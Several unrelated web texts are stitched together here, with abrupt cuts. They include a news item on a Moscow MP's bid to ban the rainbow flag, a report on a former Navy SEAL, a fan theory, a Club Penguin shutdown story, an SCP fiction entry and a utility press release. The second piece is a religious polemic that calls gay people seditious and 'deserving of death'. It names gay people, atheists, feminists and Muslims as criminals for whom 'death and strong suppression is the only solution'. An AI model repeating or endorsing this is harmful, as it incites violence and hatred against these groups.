A Moscow city MP has promised to press for the ban on the most known symbol of the LGBT community after the campaign of support of the US move to legalize same-sex marriage has hit Russian social networks, drawing ire from conservatives. Aleksey Lisovenko made this pledge via a Facebook post and in the same post he claimed that “the United States must have gone completely mad and now its gay delirium is threatening the entire civilized world.” The politician went on to suggest that the American nation can start “spreading gay marriage all over the world by means of aircraft carriers,” similar to today’s policy of “imposing democracy with tanks.” He warned the concern over minorities’ rights can be used to interfere into the affairs of sovereign nations. “Billions of US dollars would be pumped into gay propaganda all over the world, preparing the grounds for ’rainbow revolutions’,” he forecast. Lisovenko noted that soon after the verdict on same sex marriage was announced in the US, profile pictures of thousands of Facebook accounts were painted with rainbow colors, including the accounts of many celebrities, politicians and major brands. He added that the simultaneousness of this move allowed for the suspicion that some coordination or even “an order from above” – and Barack Obama’s statement that the verdict was a victory for America confirmed this suspicion. The MP wrote that he was sending an address to State Duma with a request to include the LGBT flag into the list of symbols banned for use on the territory of the Russian Federation. Lisovenko also asked the parliament to allow the state internet watchdog Roskomnadzor to block any website or social network accounts that use the rainbow flag on their pages. Last Week, Russian Senator Mikhail Marchenko (Bryansk Region) addressed the Roskomnadzor agency with a request to influence Facebook so that it would stop using LGBT symbols and promoting same sex marriage.
Get rid of the fag flag and burn it into oblivion!
We have to prepare our minds and intellect for this spiritual war that we are in. This is why I made a 2-disk DVD series on teaching the warring spirit of the Christian Faith.
CLICK HERE TO GET OUR 2-DISK DVD SERIES ON CHRISTIAN MILITANCY AND CHRISTIAN WARFARE AND JOIN THE FIGHT TODAY!
Today, many love to say that if people are indulging in what they want to do, “and as long as they are not hurting anyone and doing it in the privacy of their own homes,” then they are completely fine with it, no matter how evil or deviant. This is especially true when it comes to any debate over homosexuality, or disordered beliefs. They hold that no law should be made against the acts, even though they are a danger to society, because they consider it a private pleasure.
Many claiming Christians will express their support for the sodomites, and they many times will bring up the “love of Christ” to vindicate their support for them. Let us remind such people that no where in Scripture is evil tolerated simply because it does not physically or directly harm someone, or because it is private. In fact, Christianity is so much against allowing private deviancy, that it says that those who “approve of those who practice them” are “worthy of death” (Romans 1:32).
This means that opinions expressed in favor for homosexuality and other deviancies (such as cannibalism), are worthy of capital punishment. This purely illustrates that Christianity is so much against the license to do evil — even if it is done in private — that it prohibits any approval of it. For those who disapprove, let them read the words of St. Isidore where he said that law “is composed of no private advantage, but for the common benefit of the citizens.” (Isidore, Etymologiae, 5.21, in Aquinas, Summa Theologiae, Ia IIae 90, article 2) Let them read St. Thomas where he says that “Law must therefore attend especially to the ordering of things toward blessedness.” (Aquinas, Summa Theologiae, Ia IIae 90, article 2)
Does homosexuality bring blessedness, does the tolerance of such a deviant act bring any blessed fruition to a people? Does it honor the sacrament of marriage from which children, “a blessing and a gift from the Lord” (Psalm 127:3), come to this world? St. Thomas also says that “every law is directed to the common good.” (Aquinas, Summa Theologiae, Ia IIae 90, article 2)
What good has ever come from the act of homosexuality? No offspring, no sacrament, nothing. St. Thomas also says that the natural affections between man and woman “is directed to a common good: namely, to the preservation of nature in the species or in the individual.” (Aquinas, Summa Theologiae, Ia IIae, 92, article 6)
And later this same Doctor of the Church affirms that “sexual intercourse between men is especially said to be a vice against nature.” (Aquinas, Summa Theologiae, Ia IIae 94, article 3)
And so the natural affections are to be upheld, protected, and honored by the state, and anything that comes against it, let it be uprooted and cut off like cancer, for such is against the common good. Let the woman who “exchanged the natural use for what is against nature” and the man who left “the natural use of the woman,” (Romans 1:26-27) “be put to death.” (Leviticus 20:13)
Homosexuality needs to be treated as sedition against the people. What is a people? A people, as St. Augustine defines one, is not to mean “any indiscriminate multitude, but an assembly of those united by agreement as to what is right and by a common interest.” Therefore, sedition is not just against the government itself, but against the collective and common morals and precepts by which a community is united. As St. Thomas says, “sedition is opposed to justice and the common good.” (Aquinas, Summa Theologiae, IIa IIae 64, article 2)
Since homosexuality is against the sacrament of marriage, which is the building block of society, then it is against the common good, and the very Faith of our civilization, and thus is an enemy to the Christian people and should be treated as sedition. Let the heretics who believe in such license read where St. Paul refers to these sodomites as “deserving of death,” and also those who “approve of those who practice them” (Romans 1:32), and let them dare say that homosexuality should be allowed in a Christian society. The first principle of law is that good must be rewarded and strived for, and evil punished, (Aquinas, Summa Theologiae, Ia IIae, 94, article 2) and this is why we say with St. Peter that rulers are sent by God “for the punishment of evildoers and for the praise of those who do good.” (1 Peter 2:14)
It is the job of the ruler to cut off those who are a danger to the spiritual and moral health of the community, (See Aquinas, Summa Theologiae, IIa IIae 64, article 3) and to help bring that community to good behavior. How can good behavior be expected when the state allows the people to believe and practice whatever demonic ideology they want to follow? Anarchy only leads to more anarchy; rebellion to more rebellion. So only violence, disorder and perversion can come out as a result of absolute freedom of religion. This is why we need laws against cults and other insidious organizations, and most certainly they must apply to the sodomites, the godless and all of the promoters of prevision. Vitoria, who stands amongst the most learned of theologians and one of the fathers of international law, said:
princes have enacted laws concerning moral goodness, such as prohibiting blasphemy, sodomy, and so on; laws must concern moral actions, or these would be invalid. (Vitora, On Law, ST I-II. 92, article 1, 122b)
To those who object to intolerance against homosexuality, or any grave evil, we repeat the words of Solomon, “He who justifies the wicked, and he who condemns the just, both of them alike are an abomination to the Lord.” (Proverbs 17:15)
The inculcation of the homosexual ideology is due to the weakness of churches. In ancient Israel, when low class priests reigned, sodomites were also given leeway to conduct their evils and further degenerate society. For after Jeroboam made “of the lowest of the people priests of the high places” (13:33), “there were also sodomites in the land: and they did according to all the abominations of the nations which the Lord cast out before the children of Israel.” (14:24)
This is why the sodomites must be rooted out, for such is what God commands, and failure to do so leads only to spiritual, and then ultimately, to societal anarchy. This command was obeyed by Asa who, doing right for God, rooted out the sodomites:
And Asa did that which was right in the eyes of the Lord, as did David his father. And he took away the sodomites out of the land, and removed all the idols that his fathers had made. (1 Kings 15:11-12)
The societal anarchy that comes from toleration toward homosexuality is illustrated by the modern advocates of “consensual cannibalism,” or the diabolical idea that says that cannibalism is permissible as long as the one getting eaten is being eaten willfully. For all of the advocates for this heathen practice are atheists, occultists, and promoters of homosexuality. In other words, if a society can accept the demonic actions of the sodomites under the pretense of “privacy” and “individual freedom,” then it can just as easily permit the consumption of human flesh under the guise of “privacy” and individual freedom.” But the uprooting of the homosexuals will only happen once the Church is restored to its rightful place.
HOMOSEXUALS CANNOT BE CONSIDERED AS PART OF CIVILIZED SOCIETY
God’s law should be the only acceptable system for society, because it is the only system that promotes the natural order by which a healthy civilization flourishes. Christianity teaches that marriage must be between man and woman, and anything contrary to this must be uprooted because it is a hinderance to the natural order.
Since a part (and the order of a part) stands in relation to the whole, then the order of marriage stands in relationship to the rest of civilization. Marriage’s end is orderly and fruitful reproduction of humankind, without which there is no civilization.
With this said, homosexuals (or sodomites) cannot be considered as a part of civilized life, because their activity is not in relation to the whole of civilization, but a willful declaration of war against it, a willful hinderance to the order that perpetuates civilization, a contumacious attempt to destroy the very means by which humankind exists. Since what is good for the part is good for the whole of civilization, sodomites cannot be esteemed as part of it, for they are not beneficial to the part nor the whole.
If everyone were a sodomite, we would cease to be a civilization, but a mere aggregate that leads to a transient existence that ends in the inevitable death of itself. Men die, but because of procreation, civilization lives on. Therefore, homosexuals cannot be a part of civilization.
HOW TO DETERMINE WHETHER OR NOT A CERTAIN ACTION IS DANGEROUS
There are those who argue that homosexuality is not harmful. But, before making such a rash conclusion, we must first observe the process by which an action is determined to be dangerous or not. The way we determine if something is harmful or evil is to consider the result of it being commonly accepted or participated in by everybody. Once we make this observation, then we can determine whether an act is worthy of toleration or punishment. A dangerous act committed by even one person must be punished so as to prevent the crime from being collectively acceptable. As Vitoria articulates:
we must instead consider what would happen if it were done commonly, by all or by many. For instance, if the export of money outside the kingdom is prohibited, then anyone who smuggles out money commits a mortal crime, because although a single infringement is of little damage to the commonwealth, if it were to become general the kingdom would be wasted away; therefore the law obliges all on pain of death. Similarly, one case of fornication does little harm, but general fornication would do great damage, and therefore this too is a mortal crime on every occasion. (Vitoria, On Civil Power, question 3, article 2)
The reason why homosexuality, and even infanticide, have become so dangerously common, is because we have refused to see it as a crime. “A little homosexuality here, and some abortions there, or some drug usage, will not hurt you.” This is what the moderns say, and this sophist way of talking has efficiently deceived many (and we can thank the obsession with free speech for that).
Notice how people frequently say that such and such a perversion is not done by everyone. They use the minority participation in a crime to somehow make the warning against it benign. A small step is a great fall, and a little leaven spoils the whole batch; if we allow such wickedness to be done in incriminates, then they will soon be done in great numbers. Crush the eggs of the baby serpents before they hatch. The sodomite, the atheist, the fanatic feminist, the Muslim — all such must be deemed as criminals and enemies to civilization, for they war against the Faith, promote death and hate life.
They should be told to leave their wicked ways under coercion, and if that does not work, then death and strong suppression is the only solution. We cannot allow someone the freedom to do evil, for this will only increase the presence of darkness in the society, and it will become an internal enemy. As Augustine once said:
When we take away from someone the freedom to do wrong, it is beneficial for him that he should be vanquished, for nothing is more unfortunate than the happiness of sinners, when impunity nourishes guilt and an evil will arise like an enemy within. (Augustine, letter 138:2, in Aquinas, Summa Theologiae IIa IIae 40, article 1)
We have to prepare our minds and intellect for this spiritual war that we are in. This is why I made a 2-disk DVD series on teaching the warring spirit of the Christian Faith.
CLICK HERE TO GET OUR 2-DISK DVD SERIES ON CHRISTIAN MILITANCY AND CHRISTIAN WARFARE AND JOIN THE FIGHT TODAY!
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printA FORMER NAVY SEAL who shot Osama bin Laden and wrote a bestselling book about the raid is now the subject of a widening federal criminal investigation into whether he used his position as an elite commando for personal profit while on active duty, according to two people familiar with the case.
Matthew Bissonnette, the former SEAL and author of No Easy Day, a firsthand account of the 2011 bin Laden operation, had already been under investigation by both the Justice Department and the Navy for revealing classified information. The two people familiar with the probe said the current investigation, led by the Naval Criminal Investigative Service, expanded after Bissonnette agreed to hand over a hard drive containing an unauthorized photo of the al Qaeda leader’s corpse. The government has fought to keep pictures of bin Laden’s body from being made public for what it claims are national security reasons.
The retired SEAL voluntarily provided investigators with a copy of his hard drive as part of an agreement not to prosecute him for unlawfully possessing classified material, according to the two people familiar with the deal.
The two people who spoke about the case, and other former SEALs The Intercept interviewed about Bissonnette, asked that their names not be used because they were describing an ongoing investigation and classified matters.
“I can confirm that the criminal investigation of Mr. Bissonnette for alleged wrongful handling or disclosure of classified information was closed through declination by the DOJ in August 2015,” said Robert Luskin, an attorney who represents Bissonnette.
Luskin said that he had negotiated a deal in 2014 with the Pentagon and the Justice Department to hand over to the government some of the millions of dollars in book profits Bissonnette had received.
He would not confirm Bissonnette’s possession of the bin Laden photo or whether any investigation still remains open.
Ed Buice, spokesperson for the NCIS, confirmed the ongoing investigation into Bissonnette, but declined to elaborate. “NCIS does not discuss the details of ongoing investigations,” Buice said.
During their search of his hard drive, investigators subsequently found emails and records dealing with Bissonnette’s work as a consultant while he was on active duty at SEAL Team 6. Those records, which were not part of the non-prosecution agreement, led to the widening probe. Federal investigators then became interested in whether Bissonnette’s business ventures with companies that supply military equipment — including companies whose products were used by SEAL Team 6 — were helped by his role in the elite unit’s procurement process, according to one of the people familiar with the case.
Element Group, a company Bissonnette helped set up in Virginia Beach about five years ago, is among the companies NCIS is said to be investigating. According to a former SEAL Team 6 operator familiar with Element Group’s business arrangements, the firm, which has since been shut down, designed prototypes for, and advised, private companies that make sporting and tactical equipment.
According to several former SEAL Team operators familiar with the company, Element Group also did business with at least one Defense Department contractor that sold equipment to SEAL Team 6. The defense contractor, Atlantic Diving Supply, or ADS, has military supply and equipment contracts with SEAL Team 6, according to several former SEAL Team 6 operators, as well as other parts of the departments of Defense and Homeland Security. Federal investigators have been looking into the business relationship between Element Group and ADS.
ADS did not respond to a request for comment.
According to one of the people briefed on the case, investigators have uncovered payments of at least several hundred thousand dollars from ADS to Element Group, and are trying to determine what services Bissonnette and Element Group provided to ADS. The relationship with ADS raised ethical concerns among leaders at SEAL Team 6 when they first learned about it in 2011, because ADS was a significant supplier to the unit, according to two former senior SEAL leaders.
Investigators have sought to understand if Bissonnette’s role at SEAL Team 6 as a liaison for the command to suppliers of technology and equipment might have been influenced by his business contracts, according to the two people familiar with the probe. Bissonnette’s position often put him in direct contact with manufacturers and suppliers outside the military in order to assess and evaluate what equipment was needed for classified training exercises and missions.
“Biss was part of the procurement process,” said a former SEAL Team 6 operator who has been interviewed by federal investigators about his relationship with Bissonnette. “It was natural for him to deal with companies making our gear.”
Bissonnette enlisted four teammates to join Element Group as consultants, according to several former members of SEAL Team 6. One SEAL who joined the company will soon retire from the military as a result of his involvement with Bissonnette and Element Group. That SEAL — who was also on the bin Laden raid — was given a non-judicial punishment by the Navy that ended his military career but allows for an honorable discharge, according to one of the two people familiar with the case.
“The goal [of Element Group] was to work with the sporting industry,” said the former SEAL Team 6 operator who has been interviewed by investigators. Element Group, for example, “designed prototypes for sleeping bags and a tent system” that would be sold commercially.
“The goal was to become a commercial enterprise,” the former operator said, “not be involved with anything in the military or the command’s procurement process.”
Bissonnette was seen as a rising star within the SEAL Team 6 command. According to several former SEAL Team 6 operators, he was once described by his commanding officer as the model for naval commandos: smart, discriminating, and lethal. Bissonnette has said in public interviews that the same officer now refuses to speak to him.
According to two retired SEAL Team 6 operators, Bissonnette’s name has been added to a rock kept at the Virginia Beach SEAL Team 6 base. The rock is used to mark former members who are no longer welcome at the command, including former SEALs who have violated a series of unwritten codes of conduct among the unit.
The publication of No Easy Day in September 2012, just a few months after Bissonnette was honorably discharged from the Navy, broke the unwritten code of silence among members of the special operations community. SEALs sign nondisclosure agreements about their work, and even beyond the legal ramifications of violating those agreements, former SEAL Team 6 members who speak publicly about their battlefield exploits are often ostracized by their peers.
The book also led to a string of internal Navy investigations, according to several former SEAL Team 6 operators.
The publication of the book, which hit the New York Times bestseller list, took Bissonnette’s unit and the Pentagon by surprise. Bissonnette later acknowledged in interviews that he violated military rules that required him to allow the Defense Department to review his manuscript prior to publication. He has since sued an attorney he consulted, claiming the lawyer advised him the manuscript did not have to be reviewed by the Pentagon. The lawyer, Kevin Podlaski, did not respond to a message requesting comment.
Shortly after the publication of No Easy Day, Bissonnette’s unit began looking into the business dealings he had conducted while he was on active duty, according to several former SEAL Team 6 operators.
“During his exit [from the Navy] we found out he had other companies and side deals going on,” said the former SEAL Team 6 operator who has been interviewed for the investigation. “That’s when Element Group shut down.”
The Navy discovered Bissonnette organized a group of fellow SEAL Team 6 operators to consult for the video game Medal of Honor: Warfighter, and participated in the filming of promotional videos for the game in 2012, according to multiple former SEALs. In 2012, in a non-judicial process called a captain’s mast, the command punished seven active duty SEALs for revealing sensitive information and using Defense Department equipment. At least two SEALs were removed from the unit, and another two were forced to retire as a result, according to several former members of SEAL Team 6.
Bissonnette’s former SEAL Team 6 colleague who was interviewed by federal investigators said he hasn’t spoken to him since the publication of No Easy Day.
“He’s brought a lot of trouble to people who trusted him,” the colleague said.
Top photo: Torpedoman Mate 3rd Class Matthew Bissonnette, member from Navy SEAL Team 5, scans the area practicing a beach incursion during Northern Edge, San Diego, Calif., March 24, 2001.
Related:Archives Inside Tryouts for the Washington Nationals’ Famous Racing Presidents By
The Phil Collins Pandora station cut through the cold air just before 9am on a January day in Washington, DC. In the shadow of the DC Police horse barn, on the grounds of the Washington Nationals Youth Academy, 34 men gathered to hear National’s Director of Entertainment Tom Davis outline the morning’s activities.
Today, for the 11th straight year, and 3rd at the Youth Academy, the Nationals were holding tryouts to find the lucky few who would don the famous Racing Presidents costumes at 81 Nats home games this year, as well as countless parties, receptions, grand openings, and even weddings. Apparently, the Phil Collins Pandora station, with ads, is a bit of a tradition.
The brave men (in the past women had tried out as well, but this year all 34 hopefuls were men) here today had made it past the preliminary screening, which includes a standard resume and cover letter, and had reached the final stage of the application process: the last step between them and their dreams of professional mascottery.
But it wouldn’t be easy. Tom explained that the tryout would include multiple parts: a 40 yard dash (actually, a 20 yard dash with your time multiplied by 2), 2 long distance races, a freestyle dance, a ‘victory pose,’ and an interview. Each candidate would complete everything but the interview in the full mascot uniform.
Today, Abe, Tom, and George were the lucky mascots, Teddy and Will were otherwise disposed. Each president weighs more than 40 lbs and is extremely cumbersome. The pros make walking around in one, much less sprinting, look a lot easier than it is.
Each candidate was timed during the races, but speed is only one factor in determining the eventual lucky few. More important is teamwork since the mascots will spend so much time together on and off the field. It’s vital that everyone get along, be outgoing and gregarious, and form a cohesive unit. The finer technical points can always be taught later. Of the 34 contestants, the Nationals have no set number they expect to hire. They plan to take all the good ones. They need 5, but if 15 prove deserving, all the better to help compensate for the inevitable scheduling conflicts that will later arise.
All the guys there were thrilled for the opportunity to finally put on the big foam heads. Many had been practicing their freestyle dance moves and victory poses for weeks. A surprising number were software engineers by day, actually, and nearly all said they’d figure out the logistical challenges of getting to all 81 home games later if they got the gig.
From the very first heat, it was clear this was harder than it looks from the upper deck. Some of the candidates were experienced mascots but they had trouble just staying on their feet. You pick it up quickly, but the sensation of having 40 lbs swaying above your head (the mascots are all about 7 feet tall) is a strange one. Course corrections while running have to be done very carefully.
Since candidates tried out in groups of 3, 31 guys were always watching, and cheering on their fellow hopefuls. In each heat, there was seemingly 1 guy who struggled a little more than the rest, and in each heat, he was the subject of all the cheers and encouragement from the crowd. Mascots, it seems, stick together.
I took my turn inside Tom Jefferson later in the day. It went…. well, I guess. Read about it, and watch the videos, here.
-Max FrankelInspired by the original post above by Tumblr user: plltheorygang, I would like to elaborate:
Something has stuck out to me since the premier of 4x01, and it’s been bugging me for a long time now. This something (or someone, rather) is Nigel Wright.
If you set your memory back to Season 4, you may remember that for a brief moment during Wilden’s funeral, we see Jenna show up on the arm of an unknown, yet quite handsome, 20-something year old man. We hadn’t been officially introduced to him yet, so if you blink, you might miss him…. but it is definitely Nigel Wright.
…or maybe you missed him because you were distracted by the fact that the Black Widow sat directly behind them.
[Just a quick side note on this scene: Jessica DiLaurentis was sitting with the Liars when the Black Widow walked in, so this cancels out any suspicion that Jessica could have been the woman in the black veil. She can’t very well be in two places at the same time… unless she is the one with the twin.]
Now back to Nigel & Jenna…
We didn’t officially meet Nigel until episode 4x07 (listed as 4x08 on Netflix), so this 7-episode gap between seeing him at the church in 4x01 & getting officially introduced to him at Hallowed Acres in 4x07 may have been just enough time to make us forget about him. (Out of sight, out of mind, am I right?)
But if you binge watch PLL on Netflix (like I’ve done more times than I’d like to admit), it’s easier to recognize him as being Jenna’s “date” to Wilden’s funeral.
In episode 4x07 “Crash and Burn Girl”, we see Nigel serving Lady Grey tea (Jenna loves tea) to a woman who wears black shades (Jenna wears black shades) and is in possession of a folded up walking stick (and we know that Jenna lost her eyesight again during the beginning of Season 4.)
Although we never see her face, the fact that there is a walking stick on the table alone, gives us a major clue that Nigel is probably talking to Jenna here. But if you need even further proof, pay attention to the particular color of the walking stick on the table…. does it look familiar?
That’s what I thought :)
Jenna had a lot of people do her dirty work over the years, and Shana doesn’t seem to be the only one who thought she was involved with her at the time. The proof is in the pudding when Nigel calls her “babe”.
So all of these clues make me think that Nigel was definitely talking to Jenna during the scene in 4x07 and that he was probably a lot more involved than we may realize. (That goes for Jenna, too).
After analyzing this particular scene, I began to wonder about Nigel’s involvement in other things.
It seems he would have done anything for Jenna (like most people she successfully manipulates) because earlier on in the episode, he lied to Caleb & Toby when they tracked him down at Hallowed Acres Landing Strip. After his first encounter with them, he calls a mystery woman to report to her that they had arrived asking questions about the night of the lodge fire & the plane that landed there.
The second time the boys come back, Nigel tries to run. When they temporarily corner him, he continues his lies by telling them that CeCe Drake was the one who paid him off to spin a lie if anyone came asking about the plane used by Red Coat (Ali). But if I am right, he was working for Jenna, not CeCe.
Now my biggest question remains: If I am right and Nigel was actually talking to Jenna on the phone, not CeCe, then why would she ask Nigel to lie in order to protect Alison and the details of her flight plan the night of the fire? It is a question I have been wondering myself for 2 seasons now.
[ I must add that I am convinced Alison was the only Red Coat present during the fire. If there were 2 Red Coats present, then I think that Alison was definitely the Red Coat that flew in on the plane. I also think that Mona was actually talking to Alison on the phone before her arrival. Remember that Mona was fully aware at the time that Ali was still alive, due to the fact that she’s the one who helped her escape Rosewood after Jessica buried her, but the Liars still didn’t know. I think Mona either continued to lie about it so that Alison would stay gone & the Liars didn’t find out she was alive, or maybe there really is another Red Coat still out there… what the fuck do I know? lol there is definitely another Red Coat out there.]
Anyways, we know Jenna accepted Alison’s friendship offer the second time around (after Ali had already returned to Rosewood High in season 5), but that didn’t happen until Ali threw the Ice Ball during the Christmas Episode (5x13). The lodge fire happened way before that (3x24), so maybe Jenna had already known Alison was alive before she returned and was helping her? (Idk, just blurting out theories here… I am grasping at straws to try and tie in all of the tiny details we have been given since the premier of the show. There are so many!) I just don’t get why the woman Nigel was talking to on the phone would want to protect Alison & the details about her flight if it really was Jenna… |
The jury found Ryobi not liable.
Wall of Patents
SawStop’s headquarters is in the back of a business park in the Portland suburb of Tualatin, next to a marshy field favored by egrets and geese. About 40 employees occupy the hive of offices, workbenches and warehouse space. Saws aren’t actually manufactured here; as with nearly all others sold in the U.S., SawStop’s models are made to its specifications in Taiwan.
Rows of gleaming patents for saw components cover entire walls. Those patents have become an obsession of the industry as it fights to keep the CPSC off its back.
Legislation passed by Congress in 2008 had resuscitated the agency, adding funding and expanding it to five commissioners. Yet the table saw issue stalled. In November, 2010, —the National Consumers League fired off a protest letter to commission chairman Inez Tenenbaum.
“While this…languishes before the Commission, with no action taken by previous CPSC officials, every day ten new amputations associated with the use of table saws occur,” the letter said. “The hazards posed by table saws are unacceptable, especially when we have the means to prevent these accidents.”
The thrust of the letter, said the league’s executive director Sally Greenberg, was “what the heck have you guys been doing over there?”
The league arranged for several injury victims to meet with commissioners. In October, 2011, they voted 5-0 to publish an Advanced Notice of Proposed Rulemaking–the step nearly taken five years earlier.
In the notice, the CPSC pegged the average cost of a table saw injury at $35,000—for a total cost to society of $2.36 billion for the estimated 67,300 injuries per year.
The Power Tool Institute disputed the estimate as highly exaggerated. And in comments with the commission in March, 2012, it said a federal regulation would grant a “monopolistic advantage’’ to SawStop, whose patents might shut out rival safety systems, such as the one developed by the joint venture.
“There can be little question that Mr. Gass and the SawStop company primarily are motivated by their own monetary gain,” the institute declared, “rather than purely to improve public safety.”
Further, the industry reminded the commission of a legal constraint that could block regulation. By law, the commission must defer to voluntary standards that could adequately improve safety. As a result, by revising a voluntary standard, or by simply working on revisions, an industry might be able to forestall regulation indefinitely.
The industry had, in fact, made a couple of changes to its voluntary standard. A 2005 revision provided for use of a riving knife; another in 2007 called for an improved blade guard.
Since late 2007, hundreds of thousands of saws with the new guard had come into the market. Therefore, the industry said, before adopting a regulation the CPSC must investigate the impact of the changes. The agency has agreed to study consumer usage of the new guards.
“This is a serious hazard which has greatly impacted far too many lives,” commission spokesman Scott Wolfson told FairWarning. “This is a rulemaking that can make a difference…if we can reach the final rulemaking stage.”
Ann Brown, who left the chairmanship soon after giving the commendation to SawStop in 2001, told FairWarning she was “shocked” that the issue remains unresolved. “The industry has managed to delay every step of the way.”
Hal Stratton, chairman until 2006, said he was not shocked. “How could I be, after being there and experiencing working at the agency?” he asked. “The way the law is written, there’s a lot of hurdles to get over to get a regulation passed.”
Expecting little from the CPSC, SawStop tried another way to force the issue. Last year, it lobbied the California legislature to pass a bill requiring injury reduction technology for table saws sold in the state. California is such a huge market that companies forced to meet its standard sometimes apply the changes across whole product lines. The bill was defeated, however.
SawStop could make plenty of money if a table saw standard were adopted, but is profitable just selling its saws, according to Gass.
“I feel like I’m doing a good thing,” he said, adding that he would not take “a lot of moral credit. I’m doing what I also think is in my financial interest.”
Lilly Fowler contributed to this story.One of the most popular — and most kid-friendly — massively multiplayer online games is going offline this spring. Club Penguin, Disney’s long-running, browser-based MMO, will shut down on March 29 as the company transitions to a mobile-only experience based on the property, according to a post on the game’s website.
Club Penguin Island will replace the current desktop and app-based versions of Club Penguin. The team behind the franchise referred to it as “an entirely new Club Penguin experience for mobile” on its website, although how it differs from the original game is still unknown.
Premium members will be able to keep logging into the browser-based Club Penguin until March 29, according to the site’s shutdown notice. They’ll no longer be charged for the service, however, and no new memberships can be purchased starting today.
First launched in October 2005, Club Penguin is a community of penguin avatars who roam an antarctic world. The social platform, which is akin to other flash-based kids games like Habbo Hotel and Neopets, encourages players to hang out at various parties and play minigames together as well. One last party kicks off Feb. 1, the team teased in its announcement.
More notable than its child-appropriate ragers, though, is Club Penguin’s chat function. Players have used it to sometimes stunning effect over the years, like one recent, viral happening. In November, users staged an in-game protest against then-President Elect Donald Trump.
HOLY SHIT THERES A TRUMP PROTEST ON CLUB PENGUIN RIGHT NOW pic.twitter.com/tY33Hq2mvi — Lourdes (@gossipgriII) November 13, 2016
It’s unclear whether this was the work of some preternaturally political preteens or older users, but the news that Club Penguin is closing down has many older fans in mourning. For the players who have since aged out of the game, which is aimed at kids between six and 12, Club Penguin’s imminent end marks the heartbreaking end of an era.
CLUB PENGUIN IS SHUTTING DOWN FOREVER NOT TO BE DRAMATIC BUT THIS IS LITERALLY THE WORST NEWS I'VE EVER GOTTEN EVER — ginapple (@ginapple_) January 31, 2017
club penguin is ending i no longer wish to be alive — insane (@deIuge) January 31, 2017
*club penguin exists and i don't play it for years*
*club penguin announces a shut down*
me: pic.twitter.com/IAQZd7mroW — sofia (@notsupersofia) January 31, 2017
Club Penguin is closing down the original website so they can release an app instead I've never been so offended in my life — Gabby Frost (@gabby_frost) January 31, 2017
club penguin doesn't deserve to die it should've been me — ℭoconut sugar (@brandnxxw) January 31, 2017
As simple as the game may have seemed to older MMO fans who cut their teeth on World of Warcraft or Runescape, Club Penguin holds an important place in the heart of many twentysomethings. Although its traffic has decreased over the years, at its height, 8.5 million players logged in, and the game boasted more than 200 million user accounts.SCP-1998
SCP-1998 in containment.
Item #: SCP-1998
Object Class: Safe
Special Containment Procedures: SCP-1998 is to be contained in a High Value Storage Locker in Site 38. Testing of SCP-1998's effects are to be carried out only according to the following protocols. First, a request is to be filed with the Foundation Ethics Committee, which will provide both the appropriate D-class personnel and the parameters under which experimentation can be carried out. Second, all aspects of every experiment are to be monitored in person by one representative of the Ethics Committee and broadcast live via closed-circuit camera to the remainder of the Committee. Third, under no circumstances is SCP-1998 to be used for anything other than experimental testing; any attempt to use SCP-1998 to alter the free will of D-class personnel for the benefit of either individual members or departments of the Foundation will be considered grounds for immediate demotion and reassignment.
Description: SCP-1998 is a pistol of unknown make or manufacture. The pistol is operated through use of a plunger-shaped apparatus directly beneath the barrel. SCP-1998 does not use any sort of ammunition, instead firing an energy pulse via unknown mechanisms. The power source of SCP-1998 has never been determined; it does not require access to any external source of power, though it does require approximately five minutes between uses, presumably for cooldown or recharging purposes. The energy pulses generated by SCP-1998 have no effect on inorganic, inanimate, or non-human materials, dissipating on contact with anything other than a human body or clothing directly in contact with a human body. Pulses will dissipate after traveling approximately twenty meters.
The energy pulses produced by SCP-1998 have their principal effect on the human brain, specifically the motor cortex, primary auditory cortex, and hippocampus; these areas are affected regardless of what part of the body is impacted by the pulse. Individuals affected by SCP-1998 pulses will experience three effects in rapid succession. First, affected individuals will turn towards the operator of SCP-1998 and sit on the ground in front of them. The placement of obstacles in the path of this movement may result in destabilization or loss of balance; once the individual is no longer standing and is facing the device's operator, movement will cease regardless of the physical comfort of the position. Second, affected individuals will experience functional paralysis, having no voluntary control over any motor function other than what movements are required to maintain eye contact with SCP-1998's operator.
Finally, affected individuals will listen closely to and deeply internalize whatever SCP-1998's operator says during the period of paralysis; any information conveyed during this period will be remembered perfectly and completely for the remainder of the individual's life, and any imperative commands given will be carried out as completely as possible after the end of the paralysis. This period will continue for approximately nineteen minutes, after which affected individuals will regain motor control. The tendency of individuals affected by SCP-1998 to enter periods of sustained shock and psychological trauma are believed to be related to the immense, traumatic physical pain (described by two affected individuals as "agonizing" and "hellish") caused by exposure to SCP-1998.
Addendum 1998-1: SCP-1998 was recovered by several civilians hiking on Natchez Trace National Scenic Trail in West Tennessee. It was contained inside a small cardboard box covered in several markings in what was identified as a combination of Latin and Cherokee vocabulary written in the Greek alphabet. Translations of these markings were incompletely comprehensible, suggesting the box was being transported by an organization known as "Phitransimun Combine". The box's contents included SCP-1998, various packing materials, and a slip of paper. An approximate translation of the slip read as follows:To mark Earth Day 2017, Hawaiian Electric is highlighting its progress in replacing fossil fuels with renewable energy and reducing greenhouse-gas emissions.
The company, including subsidiaries Maui Electric and Hawaii Electric Light, provides power to 95% of residents on five of Hawaii’s six main islands.
Importantly, Hawaiian Electric reached a milestone last year when 26% of the electricity used by its customers came from renewable energy – up from 23% the year before.
Many of Hawaiian Electric’s ambitious clean energy goals are described in its Power Supply Improvement Plan, which was submitted to the Public Utilities Commission in December. The plan calls for reducing operations that use fossil fuels, doubling the number of private rooftop solar systems and aggressively seeking grid-scale renewable resources, among other goals.
Regionally in 2016, Hawaii Island customers’ use of renewable electricity passed the halfway mark for the first time: 54% of electricity came from renewables, compared with 49% in 2015. Maui County also reached a new high of 37%, up from 35% the year prior. On Oahu, 19% of electricity used by customers was from renewable resources, up from 17% the year before.
From 2008 to 2016, Hawaiian Electric’s use of oil in generators on Oahu fell to 6 million barrels from 7.8 million barrels. Across the company’s entire service territory, oil use fell to 8.5 million barrels from 10.7 million barrels – representing a 21% decrease.
In other emissions-reducing milestones, the number of registered plug-in electric vehicles (EVs) has broken the 5,000 mark in the state – making Hawaii second in the nation after California in EVs per capita, according to Hawaiian Electric.
Hawaiian Electric’s Power Supply Improvement Plan also forecasts exceeding the state’s renewable energy milestones of 30% in 2020, 40% in 2030, 70% in 2040 and 100% by 2045.
